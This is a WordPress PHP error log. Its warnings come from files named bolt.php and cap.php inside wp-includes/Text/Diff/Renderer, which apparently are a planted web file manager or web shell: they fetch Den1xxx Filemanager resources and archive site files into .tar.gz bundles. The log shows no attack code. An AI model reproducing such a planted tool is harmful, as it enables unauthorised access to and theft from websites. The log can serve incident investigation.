[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Renderer.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1073
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1073): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1073
[25-Jun-2026 19:38:21 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Renderer.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:27 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:38:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Engine.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1073
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1073): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1073
[25-Jun-2026 19:38:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:14 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:36 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:57 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:57 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:06 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:15 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:13:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:25 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:30 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:40 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Diff.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 20:13:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:14:05 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:05 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Diff.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1135
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1135): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1135
[25-Jun-2026 20:14:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:14:14 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/xdiff.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 20:14:17 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:17 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:17 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:14:17 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:14:17 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:14:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:25 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:14:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:14:33 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:33 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:14:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:14:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:14:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:14:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:14:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:14:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:00 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:00 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:15:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:25 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:15:30 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:30 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:15:50 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:15:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:10 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:10 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
